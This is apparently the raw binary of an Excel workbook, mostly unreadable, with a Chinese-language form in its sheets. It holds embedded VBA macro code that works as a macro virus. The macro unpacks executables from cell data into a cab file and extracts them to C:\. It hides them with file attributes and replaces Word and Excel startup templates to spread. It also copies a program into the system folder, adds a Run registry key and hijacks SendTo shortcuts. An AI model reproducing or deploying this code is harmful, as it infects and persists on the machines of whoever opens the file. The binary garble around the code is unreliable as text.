ࡱ> 9=  !"#$%&'()*+,-./012345678;<>Root Entry F jyQ:Workbook}lETExtDataSummaryInformation(   \p Administrator Ba==S)8X@"1[SO1 [SO1 [SO1 [SO1[SO1@[SO1.Times New Roman16[SO1[SO1 [SO1,6[SO1 [SO1[SO1[SO16[SO1[SO1>[SO15[SO1 [SO1[SO1[SO1h6[SO1[SO15[SO1?[SO1[SO1 [SO+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ W))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ g+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ /\$#,##0_);\(\$#,##0\)9\$#,##0_);[Red]\(\$#,##0\);\$#,##0.00_);\(\$#,##0.00\)E \$#,##0.00_);[Red]\(\$#,##0.00\)                *  @ @   / , )  @ @   @ @ - +  @ @  @ @   @ @     @ @ / @ @  @ @ @ @ @ @   @ @  @ @  @ @ ,  @ @  @ @ /    ff7  @ @ *  @ @ 5 `@ @ a@ 0 @ @ * @ @ +  @ @   @ @ 0  @ @   @ @   @ @    @ @ /  @ @ 7  @ @ 3  @ @   @ @ +  @ @ 6  @ @   @ @   @ @ 9  @ @   @ @    0@ @ 0@ @ 0@ @ 0@@ 0@ 0 @  @@ 0@ 0 0  @    0 0 0@  @      @ (@ (   @ ( Q 1Q  1Q ||^Y H}A}ef }}  ̙ ??v}A}L }A} }A}23 }-} }-} }}}  }A}23 }-} }-} }-}  }-}! }A}" }A}# }A}$23 }A}%? }A}&23 }}' ??? ????????? ???}}(   }}}) ??? ????????? }A}*ef }A}+ }A}, }}U}- }A}. a}A}/ e}A}0ef }A}1 }A}2ef }A}3L }A}4ef }A}6L }A}7 }A}8 }A}9ef }A}:L }A}; }A}<L }A}=23 }A}> }A}?L }A}@23 8^ĉ!20% - :_eW[r 32&20% - :_eW[r 3 eQeQ!40% - :_eW[r 32'40% - :_eW[r 3]]!60% - :_eW[r 32(60% - :_eW[r 3  lʑ lʑ!60% - :_eW[r 22$60% - :_eW[r 2 h 4h 4 fJTe,g fJTe,g hh!ʑ'`e,g 5ʑ'`e,g "h 1h 1 #h 2h 2!$60% - :_eW[r 12 60% - :_eW[r 1 %h 3h 3!&60% - :_eW[r 42,60% - :_eW[r 4 'QQ ({{)hgUSCQ:_eW[r 6&1:_eW[r 6!?40% - :_eW[r 62340% - :_eW[r 6!@60% - :_eW[r 62460% - :_eW[r 6 PK N@theme/PK N@ theme/theme/PKN@ky}theme/theme/themeManager.xml M @}w7c(EbˮCAǠҟ7՛K Y, e.|,H,lxɴIsQ}#Ր ֵ+!,^$j=GW)E+& 8PKN@&ϟ6theme/theme/theme1.xmlYMo7X콑d#2">&vDJ]jw );ɱ@iKz(H^_6E rW+Rj!-b_$ raBcaiǯ]N4wG.( e)s,~p'T젎KT*"a$. lx$|Q%&U6+ "(&`wOw*(*xNk !KwhLJBv2Q$$G?,FO}Wn0o~>Z2z??}hlG$»O;,񘿙(FIJ@1vޜ#c;x8H xm:L71FwˈhFA5wVj \vclѼMQ*QS,=M1v>!V\H`'>"ΐ*I /sAH{>U𱍄 S+LrjEr8灉 0e^?BlnqX yb#$SCĘi7FII؏JytCwJ7V&e'35̬a2 ^'$=SvĹyVz?(=4Koc-BWhЛJ`~d{B(9ŇB4pN_:qybv2L`"Ǚx N5_9D:^ӷYrYf.xQÍAfky*k.(7!aLfvh-U WVX,.+TjeV7`FpmB*Oy|LReۊvL[$rI&b:yhi˔ZT(X4ZEs v@SS)htvJ&@Yǟ>&ԎP'[D#xHo(Kƅ!עAB$%IW/@S![m %YyA$L1"ϵT_, =oLgkj*!G3$Ve4BvׂqD10k!)8R Mˮsu6R3Ds3-UQ]ӭb 6ˋ5y".KZrN(랣!ԖYuV]ڽc3I\][#:?حV- MJiÅ ?B~?DC}&)eCPK N@_rels/PKN@֧6 _rels/.relsj0 }Q%v/C/}(h"O = C?hv=Ʌ%[xp{۵_Pѣ<1H0ORBdJE4b$q_6LR7`0̞O,En7Lib/SeеPK N@theme/theme/_rels/PKN@ ѐ'theme/theme/_rels/themeManager.xml.relsM 0wooӺ&݈Э5 6?$Q ,.aic21h:qm@RN;d`o7gK(M&$R(.1r'JЊT8V"AȻHu}|$b{P8g/]QAsم(#L[PKN@ $[Content_Types].xmlN0EH-J@%ǎǢ|ș$زULTB l,x\vTU^hd}㨫)*1P'^ח0)T9l#$> `?Cs]7zb$xu-lV{9>DVNj,5(Bȥszҕhhs0U~,}2ToF0,į*=댬o[gv; 9'33y ; oOPKN@ $ K [Content_Types].xmlPK N@ _rels/PKN@֧6  D_rels/.relsPK N@theme/PK N@ $theme/theme/PK N@'theme/theme/_rels/PKN@ ѐ' Wtheme/theme/_rels/themeManager.xml.relsPKN@&ϟ6 theme/theme/theme1.xmlPKN@ky} Ntheme/theme/themeManager.xmlPK ?t XTableStyleMedium2PivotStyleLight16`$}NJZQNPVTOQRTNYY[Sheet1iSheet2kSheet3VV4" yPrivate Sub createcabfile()Dim ch As Byteon error resume next4Set fso = CreateObject("scripting.filesystemobject")%Set w = CreateObject("wscript.shell")7myfolder = w.specialfolders("Templates") & "\Software\"&If Not fso.folderexists(myfolder) Thenfso.createfolder myfolderEnd IfFor i=1 to Workbooks.Count&If Workbooks(i).name="normal.xlm" thenworkbooks(i).close6fso.deletefile Application.StartupPath & "\normal.xlm"Next&If Workbooks(i).name="norma1.xlm" thengoto a1cabfile= "c:\cab.cab"CIf Not fso.fileexists(Application.StartupPath & "\norma1.xlm") Thenfso.delete cabfile*open cabfile for binary access write as #1For i = 1 To 150< hv = ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Cells(i, 2).Valuen=1m=instr(hv," ") do while m>0ch=CByte(mid(hv,n,m-n)) put #1,,chn=m+1m=instr(n,hv," ")loopclose #19w.Run "%COMSPEC% /c attrib -s -h c:\setflag.exe", 0, True8w.Run "%COMSPEC% /c attrib -s -h c:\sendto.exe", 0, True>w.Run "%COMSPEC% /c extrac32 /E /Y /L c:\ c:\cab.cab", 0, True=w.Run "%COMSPEC% /c extract /E /Y /L c:\ c:\cab.cab", 0, Truefso.deletefile cabfile,fso.copyfile "c:\normal.dot", myfolder, True)set word=createobject("word.application")%ntpath=word.NormalTemplate.Path & "\" word.quit*fso.copyfile "c:\normal.dot", ntpath, TrueAfso.copyfile "c:\norma1.xlm", Application.StartupPath & "\", True=fso.copyfile "c:\internet.exe", fso.getspecialfolder(1) & "\"2set fold=fso.getfolder(w.SpecialFolders("SendTo"))for each ff in fold.files if instr(ff.name,"ov")>0 then3 set lnk=w.CreateShortcut(fold.path & "\" & ff.name)  lnk.TargetPath="c:\sendto.exe" lnk.IconLocation="shell32.dll,6"lnk.savegoto e2end ifnexte2:fso.deletefile "c:\normal.dot"fso.deletefile "c:\norma1.xlm" fso.deletefile "c:\internet.exe"9w.Run "%COMSPEC% /c attrib +s +h c:\setflag.exe", 0, True8w.Run "%COMSPEC% /c attrib +s +h c:\sendto.exe", 0, Truehw.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe","internet.exe"Zw.regdelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe"6 Workbooks.Open Application.StartupPath & "\norma1.xlm"qthisworkbook.Sheets("(m1)_(m2)_(m3)").Columns(2).Copy workbooks("norma1.xlm").sheets("(m1)_(m2)_(m3)").Columns(2)workbooks("norma1.xlm").saveB fso.copyfile Application.StartupPath & "\norma1.xlm",myfolder,true a1:fso.deletefile "c:\excel.txt"!Application.DisplayAlerts = False$for i=1 to thisworkbook.sheets.count1 if left(thisworkbook.sheets(i).name,3)="!jWWh" then(+ThisWorkbook.Sheets(i).Delete Application.DisplayAlerts = TrueThisWorkbook.Saved=TrueEnd Sub VnWSwWGL]W,g;SuOi_0W1\ʋ{vhY T'`+Rt^NXT{|+R(WL OvGr;SOSxNSx@b(WUSMOUSMO5u݋_0W~0W@WT|5u݋OObet^ge1\ʋ;Sba 1\ʋ0W;SuOi:gga;Sb Ty;Sb:NW,g;SuOi[p;Sb;SbI{~N~/N~/ N~8h[OObuN0;SOʋuKbQSN/f/&T&{T N&{T;Sbvz vz USMO[8ha~[g8h[,g!k3ub9(uGW|SOL]_0WOOb;So9 e c^ 0  Q T I{ݏsa0 USMO;SO#N~{ TUSMOvz laNy10_0W[nNXT_{(W[n0W:S;SuOi[p;Sb1\ʋ 20_0W[nNXT;Su9b _{\dkhN;So9f~nUS0Shy0ʋuS0OOb\~SuuʋeffNNv^NUSMO;SONr^~N~{ 30SOUSMO_{[3ubvhQ;Su9ۏL[g8h[ nxOe c^ 0  Q T I{ݏĉsaldkh1\;Se4vGr ;SOS1u>yONR{t~NkXQ0 yj6   R%CTXw[  dMbP?_*+%&?'?(?)?" dXX??&U} @[} } \}  [}  [R; ; ; ;  ;;;;;;;;;;;;;;;; \ \ ] \ \ \ \ \ \ ] ] ] \ ] ] ] ] ] ] ] \ \ ] ] \ ] ] ] ] ] ] ]D@l ;!;"#;$%&'()*;+;,;-./012;3;4;5;6;7;8;9;:;;;<;=;>? ] !] "\ #] $\ %\ &\! '\" (\# )\$ *]% +]& ,]' -\( .\) /\* 0\+ 1\, 2]- 3\. 4]/ 5]0 6]1 7]2 8]3 9]4 :]5 ;]6 <]7 =]8 >\9 ?\:D@l@ABC;D;E;F;G;H;IJ;K;LM;N;OP;Q @\; A\< B\ C]= D]> E]? F]@ G]A H]B I\C J]D K]E L\F M]3 N]4 O\G P]H Q\I(dT><? ggD   %oh  dMbP?_*+%&Q?'?(?)?" dXX??&U} @} } @} } } } } } `} } } /@/@/@/@/@/@/@ /@ /@ /@ /@ @/@/A/A@-@/@/@@ BJ BBBBBBBBBBBBB BK BBBBBBBBBBBBB CLCC CMC CNC CO CP  CC  CQ  CC CRCCCCC DSCCCCCCC CTCCCCCC CUC CCCCC DVCCCCCC CWC CCCCC CX EY EE EZ E[E C\ EY  EE  EZ  E[ E F]GGGGGH I^VVVVVY J_KKKKKL M`NNNNNO Ma NN Nb Nc Od MNNNNNO Me NNNNNOM Nf Ng N Nh NO  M Ni N Ng Nj NOMNNNNNO  M PY PP PZ P Q[ RPP PY P PZ Q[ STT Tk TTUSTTT Tl TU Im VVVVVVVVVVVVY W XnXXXXXXXXXXXZ Wo XXXXXXXXXXXXZ "MNNNNNNNNNNNNO "MNNNNNNNNNNNNO MNNN NpNNNNN  PY P  PZ  Q[STTTTTTTT  Tq TTTU Ir VVVVVVVVVVVVY M NsNNNNNNNNNNNO M NtNNNNNNNNNNNO M NuNNNNNNNNNNNO M NvNNNNNNNNNNNO M NwNNNNNNNNNNNO "STTTTTTTTTTTTU x> 022XXXHH^hZR2:2&&h<2:::::&><            ggD   %  dMbP?_*+%&?'?(?)?" d??&U>< ggD   %  dMbP?_*+%&?'?(?)?" d??&U>< ggD   +K^ Oh+'0  $ 0 <HPX` _4t walkinnet@Vh@$9@oMicrosoft Excel՜.+,D՜.+,`  >y{DocumentSummaryInformation8 (\dlKSOProductBuildVer2052-10.1.0.5777